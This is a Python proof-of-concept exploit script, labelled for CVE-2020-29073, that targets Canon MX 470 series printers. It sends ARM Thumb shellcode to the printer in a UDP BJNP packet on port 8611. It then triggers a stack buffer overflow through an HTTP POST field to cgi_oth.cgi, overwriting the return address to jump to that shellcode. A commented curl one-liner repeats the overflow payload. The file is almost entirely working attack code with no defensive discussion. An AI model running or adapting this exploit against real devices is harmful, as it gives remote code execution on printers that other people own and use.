exploit.py

#!/usr/bin/env python3
import socket
import struct
import requests
import argparse
from ctypes import *

class BjnpHeader(Structure):

    _pack_ = 1
    _fields_ = [
        ('BJNP_id', c_char*4),
        ('dev_type', c_ubyte),
        ('cmd_code', c_ubyte),
        ('unknow1', c_ushort),
        ('seq_no', c_ushort),
        ('session_id', c_ushort),
        ('payload_len', c_uint),
    ]

    def __init__(self, payload, dev_type=1, cmd_code=0, unknow1=0, seq_no=0, session_id=0):
        super(BjnpHeader, self).__init__(b'BJNP', 
            dev_type, cmd_code, unknow1, seq_no, session_id, len(payload))

def create_bjnp_frame(payload):
    class BjnpFrame(Structure):
        _fields_ = [
            ('bjnp_header', BjnpHeader),
            ('bjnp_payload', c_ubyte*len(payload))
        ]
    return BjnpFrame(BjnpHeader(payload), cast(payload, POINTER(c_ubyte * len(payload))).contents)

BJNP_PORT = 8611

# +1 as shellcode is in ARM Thumb mode
shellcode_addr = 0x18f6faa0 + sizeof(BjnpHeader) + 1

# See shellcode_thumb.S
shellcode=b"\x06\xb4\x7f\xb0\x7f\xb0\x62\x9c\xff\xb0\xff\xb0\x20\x1c\x09\x49\x88\x47\x09\x49\x09\x68\x09\x68\x0e\x6c\x07\x48\x21\x1c\x07\x4a\x00\x23\xb0\x47\x06\x49\x09\x91\x06\xbc\x06\x48\x01\xb4\x01\x20\x00\xbd\x00\x00\x63\x9c\x1e\x00\xf0\xfc\x17\x1b\xc7\x29\xa5\x00\xdd\x4e\x20\x00\xcb\x4d\x20\x00"

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='POC for CVE-2020-29073')
    parser.add_argument('ip_addr', help='IP address of targeted Canon MX 470 series printer')
    args = parser.parse_args()
    
    s = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
    server_addr = (args.ip_addr, BJNP_PORT)
    url=f'http://{args.ip_addr:s}/English/pages_WinUS/cgi_oth.cgi'
    bjnp_frame = bytes(create_bjnp_frame(shellcode))
    
    print(f'Shellcode size is {len(shellcode):d} bytes')

    print(f'Sending BJNP UDP payload of size {len(bjnp_frame):d} bytes')
    assert(len(bjnp_frame) <= 0x2000)
    s.sendto(bjnp_frame, server_addr)

    print('Waiting for BJNP UDP response...')
    payload, sender = s.recvfrom(65536)
    print(f'Received BJNP UDP response of size {len(payload):d} bytes')
    
    # curl 'http://<IP_TARGET>/English/pages_WinUS/cgi_oth.cgi' --data "OTH_TXT1=$(python2 -c 'print "A"*0x80 + "BBBB" + "R4R4" + "R5R5" + "R6R6" + "R7R7" + "%B1%FA%F6%18"')"
    oth_txt1 = b"A"*0x80 + b"BBBB" + b"R4R4" + b"R5R5" + b"R6R6" + b"R7R7" + struct.pack("<I", shellcode_addr)
    post_data = { 'OTH_TXT1' :  oth_txt1 }
    print(f'Sending POST request to {url:s} for triggering shellcode')
    r = requests.post(url, data=post_data)
    print(f"Received HTTP response code {r.status_code} from server {r.headers['Server']}")
    print(f'Received headers: "{r.headers}"')
    print(f'Received body: "{r.text}"')